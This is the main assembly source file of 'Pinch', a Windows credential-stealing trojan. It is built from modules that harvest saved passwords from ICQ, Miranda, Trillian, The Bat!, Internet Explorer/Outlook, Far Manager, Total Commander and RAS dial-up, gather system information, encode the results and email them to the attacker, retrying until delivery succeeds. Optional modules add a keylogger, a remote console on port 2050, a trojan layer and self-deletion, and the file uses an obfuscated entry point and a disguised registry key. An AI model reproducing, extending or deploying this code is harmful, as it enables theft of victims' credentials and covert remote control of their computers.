; ----------------------------------------
;
;  (C) Alex Demchenko (alex@ritlabs.com)
;          http://www.cobans.net
;
; ----------------------------------------




; #########################################################################

        .586
        .model flat, stdcall
        option casemap :none   ; case sensitive

; #########################################################################

        include ..\Inc\windows.inc
        include ..\Inc\user32.inc
        include ..\Inc\kernel32.inc
        include ..\Inc\wsock32.inc
        include ..\Inc\advapi32.inc
        include ..\Inc\shell32.inc
        include ..\Inc\ole32.inc
        include ..\Inc\oaidl.inc
        include ..\Inc\rasapi32.inc
        include ..\Inc\oleaut32.inc

        includelib ..\Lib\user32.lib
        includelib ..\Lib\kernel32.lib
        includelib ..\Lib\wsock32.lib
        includelib ..\Lib\advapi32.lib
        includelib ..\Lib\shell32.lib
        includelib ..\Lib\ole32.lib
        includelib ..\Lib\rasapi32.lib
        includelib ..\Lib\oleaut32.lib

        include SEH.asm
        include Options.inc

; #########################################################################

        ;=============
        ; Local macros
        ;=============

        szText MACRO Name, Text:VARARG
          LOCAL lbl
            jmp lbl
              Name db Text,0
            lbl:
          ENDM

        ;=============
        ; Prototypes
        ;=============

        GetPasswords proto

        .data

        ;=================
        ; Dupe check paths
        ;=================

                szPinchCheckPath        db      "SOFTWARE\Intel",0
                szPinchCheckName        db      "Data",0

        .data?

        ;===============
        ; Global buffers
        ;===============

                GlobalBuffer    dd      ?

                ; 4 temp buffers
                lpBuf1          db      32768 dup(?)
                lpBuf2          db      32768 dup(?)
                lpBuf3          db      32768 dup(?)
                lpBuf4          db      32768 dup(?)

        .code

        ;==================
        ; Module includes
        ;==================

        include Utils.asm               ; Some utils, module dependent
        IFDEF MOD_TEXT
          include ..\Modules\Net\FILE.asm      ; File exporter
        ELSEIFDEF MOD_HTTP
          include ..\Modules\Net\HTTP.asm      ; IE overlay
        ELSE
          include ..\Modules\Net\SMTP.asm      ; SMTP client
        ENDIF

        IFDEF MOD_SYSINFO
          include ..\Modules\SysInfo.asm
        ENDIF

        IFDEF MOD_ICQ2003
          include ..\Modules\ICQ2003.asm
        ENDIF

        IFDEF MOD_MIRANDA
          include ..\Modules\Miranda.asm
        ENDIF

        IFDEF MOD_ICQ99B
          include ..\Modules\ICQ99b.asm
        ENDIF

        IFDEF MOD_SELFDELETE
          include ..\Modules\SelfDelete.asm
        ENDIF

        IFDEF MOD_THEBAT
          include ..\Modules\TheBat.asm
        ENDIF

        IFDEF MOD_IE
          include ..\Modules\PStorage.asm
        ELSEIFDEF MOD_OUTLOOK
          include ..\Modules\PStorage.asm
        ENDIF

        IFDEF MOD_TRILLIAN
          include ..\Modules\Trillian.asm
        ENDIF

        IFDEF MOD_FAR
          include ..\Modules\Far.asm
        ENDIF

        IFDEF MOD_WTC
          include ..\Modules\WTC.asm
        ENDIF

        IFDEF MOD_RAS
          include ..\Modules\RAS.asm
        ENDIF

        IFDEF   MOD_TROJ
          include ..\Modules\TrojLayer.asm
        ENDIF

        IFDEF MOD_RQ
          include ..\Modules\&RQ.asm
        ENDIF

        IFDEF MOD_KL
          include ..\Modules\KeyLog.asm
        ENDIF

        IFDEF MOD_CS
          include ..\Modules\Console.asm
        ENDIF

.code

; #########################################################################

start:
        nop
        push    offset @a
        nop
        ret

@a:
        jmp     @F
        db      90
        db      60
        db      90

@@:
        IFNDEF MOD_TEXT
                IFNDEF MOD_HTTP
                        ; SMTP - uses WSOCK32
                        invoke  WSAStartup, 1, offset lpBuf1
                ENDIF
        ENDIF

        IFDEF MOD_CS
                IFDEF MOD_TEXT
                        invoke  WSAStartup, 1, offset lpBuf1
                ELSEIFDEF MOD_HTTP
                        invoke  WSAStartup, 1, offset lpBuf1
                ENDIF
        ENDIF

        ; Trojan layer
        IFDEF   MOD_TROJ
                invoke  RunTrojLayer
        ENDIF

        ; Collect & send passwords
        invoke  GetPasswords

        ; Remote console
        IFDEF MOD_CS
                invoke  CreateThread, NULL, 0, offset StartSrv, 2050, 0, addr lpBuf1
                ; If ley-log isn't compiled then let's keep process alive (while listening connections)
                IFNDEF  MOD_KL
                        @infinite:
                        invoke  Sleep, 1000
                        jmp     @infinite
                ENDIF
        ENDIF

        ; Key-log
        IFDEF MOD_KL
                invoke  RunKeyLog
        ENDIF

        ; Self-delete
        IFNDEF  MOD_TROJ
                IFDEF   MOD_SELFDELETE
                        call  DoSelfDelete
                ENDIF
        ENDIF

        ; Terminate process
        invoke  ExitProcess, 0

; #########################################################################

; Collect passwords and mail them to the destination user
GetPasswords proc uses esi edi ebx
        LOCAL   hkHandle, DataType, BufSize: DWORD

        ; Allocate buffer for output data
        invoke  LocalAlloc, LMEM_FIXED or LMEM_ZEROINIT, 280000h
        mov     [GlobalBuffer], eax

        ; Write the greet message
        szText  szPinchGreet, "[P]",13,10,"V: 1.0",13,10,"S: %sD: %s",13,10
        invoke  wsprintf, GlobalBuffer, addr szPinchGreet, offset szMailFrom, offset szMailTest

        InstSehFrame <offset @SavePlace1>
        ; System Info (OS, Memory, Drives, Username, CPU, Host, IP)
        IFDEF MOD_SYSINFO
                invoke  GetSysInfoOutput
        ENDIF

        invoke  lstrlen, GlobalBuffer
        mov     ebx, eax

        ; ICQ2003/Lite Passwords
        IFDEF MOD_ICQ2003
                invoke  GetICQ2003Output
        ENDIF

        ; Miranda 1.2.0, 1.2.1, 0.3.x Passwords
        IFDEF MOD_MIRANDA
                invoke  GetMirandaOutput
        ENDIF

        ; ICQ99b-2002a Passwords
        IFDEF MOD_ICQ99B
                invoke  GetICQ99bOutput
        ENDIF

        ; The Bat! (Mailer) POP3 Passwords
        IFDEF MOD_THEBAT
                invoke  GetTheBatOutput
        ENDIF

@SavePlace1:
        KillSehFrame
        InstSehFrame <offset @SavePlace2>

        ; IE Autocomplete/Protected sites, Outlook passwords
        IFDEF MOD_IE
                invoke  GetPStorageOutput
        ELSEIFDEF MOD_OUTLOOK
                invoke  GetPStorageOutput
        ENDIF

@SavePlace2:
        KillSehFrame
        InstSehFrame <offset @SavePlace3>

        ; Trillian
        IFDEF MOD_TRILLIAN
                invoke  GetTrillianOutput
        ENDIF

        ; Far Manager (FTP)
        IFDEF MOD_FAR
                invoke  GetFarOutput
        ENDIF

        ; Windows/Total Commander
        IFDEF MOD_WTC
                invoke  GetWTCommanderPasswords
        ENDIF

@SavePlace3:
        KillSehFrame
        InstSehFrame <offset @SavePlace4>

        ; Win 95/98/Me/2k/XP RAS passwords
        IFDEF MOD_RAS
                invoke  GetRasPasswords
        ENDIF

@SavePlace4:
        KillSehFrame
        InstSehFrame <offset @SavePlace5>

        ; &RQ
        IFDEF MOD_RQ
                invoke  GetRQPasswords
        ENDIF

@SavePlace5:
        KillSehFrame

        ; Alloc buffer for encoded data
        invoke  LocalAlloc, LMEM_FIXED or LMEM_ZEROINIT, 280000h
        mov     edi, eax

        ; Alloc buffer for encoded check data
        invoke  LocalAlloc, LMEM_FIXED or LMEM_ZEROINIT, 280000h
        mov     esi, eax

        ; Encode real data
        invoke  lstrlen, GlobalBuffer
        push    eax
        invoke  EncodeBuf, GlobalBuffer, edi, eax

        ; Encode check data (w/o system info)
        pop     eax
        sub     eax, ebx
        mov     edx, GlobalBuffer
        add     edx, ebx
        invoke  EncodeBuf, edx, esi, eax

        ; Check for the dupe passwords
        invoke  RegCreateKey, HKEY_CURRENT_USER, offset szPinchCheckPath, addr hkHandle
        test    eax, eax
        jnz     @retry_loop

        mov     BufSize, 280000h
        invoke  RegQueryValueEx, hkHandle, offset szPinchCheckName, NULL, addr DataType, GlobalBuffer, addr BufSize
        test    eax, eax
        jnz     @retry_loop

        invoke  CompareMem, GlobalBuffer, esi, BufSize
        test    eax, eax
        IFNDEF  MOD_TEXT
                ; MOD_TEXT should not check for dupe passwords
                jnz     @retry_ok
        ENDIF

@retry_loop:
        ; Send encoded data
        invoke  SendEmail, edi
        test    eax, eax
        jnz     @retry_ok
        invoke  Sleep, MailInterval
        jmp     @retry_loop

@retry_ok:
        invoke  lstrlen, esi
        invoke  RegSetValueEx, hkHandle, offset szPinchCheckName, 0, REG_SZ, esi, eax
        invoke  RegCloseKey, hkHandle

        ; Free the allocated buffers
        invoke  LocalFree, esi
        invoke  LocalFree, edi
        invoke  LocalFree, GlobalBuffer

        ret
GetPasswords endp

end start
